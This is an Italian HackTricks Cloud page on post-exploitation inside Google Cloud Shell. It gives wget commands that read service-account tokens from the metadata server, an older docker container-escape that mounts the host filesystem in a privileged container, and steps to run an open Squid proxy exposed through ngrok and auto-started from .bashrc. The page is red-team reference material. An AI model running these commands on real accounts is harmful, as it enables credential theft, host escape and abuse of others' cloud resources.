GCP - Cloud Shell Post Exploitation
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
Cloud Shell
Per maggiori informazioni su Cloud Shell consulta:
Ottiene il token dell’utente dai metadata
Accedendo semplicemente al metadata server puoi ottenere un token per accedere come l’utente attualmente connesso:
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
Container Escape / Docker use
Warning
In precedenza il cloud shell girava in un container con accesso al docker socket dell’host. Ora Google ha cambiato l’architettura e il container del cloud shell esegue un “Docker in a container”. Quindi, anche se è possibile usare docker dal cloud shell, non potrai effettuare escape verso l’host usando il docker socket. Nota che in precedenza il file
docker.socksi trovava in/google/host/var/run/docker.sockma ora è stato spostato in/run/docker.sock.
Docker use / Vecchi comandi di container escape
```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```Inoltre, in passato era possibile trovare un token per un service account usato dalla cloud shell VM nel metadata server:
Vecchio service account dai metadata
```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` Con i seguenti scope: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write
</details>
### Usarlo come proxy
Se vuoi usare la tua istanza di google cloud shell come proxy devi eseguire i seguenti comandi (o inserirli nel file .bashrc):
<details>
<summary>Installa Squid proxy</summary>
```bash
sudo apt install -y squid
Per informazione, Squid è un server proxy HTTP. Crea un file squid.conf con le seguenti impostazioni:
Crea il file squid.conf
```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```Copia il file squid.conf in /etc/squid
Copia la configurazione in /etc/squid
```bash sudo cp squid.conf /etc/squid ```Infine avvia il servizio squid:
Avvia il servizio squid
```bash sudo service squid start ```Usa ngrok per rendere il proxy accessibile dall’esterno:
Esponi il proxy con ngrok
```bash ./ngrok tcp 3128 ```Dopo l’esecuzione, copia l’URL tcp://. Se vuoi usare il proxy da un browser, è consigliato rimuovere la parte tcp:// e la porta e inserire la porta nel campo porta delle impostazioni proxy del browser (squid è un http proxy server).
Per un uso migliore all’avvio, il file .bashrc dovrebbe contenere le seguenti righe:
Aggiungi a .bashrc per l'avvio automatico
```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```Le istruzioni sono state copiate da https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Consulta quella pagina per altre idee folli per eseguire qualsiasi tipo di software (database e perfino Windows) in Cloud Shell.
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
HackTricks Cloud

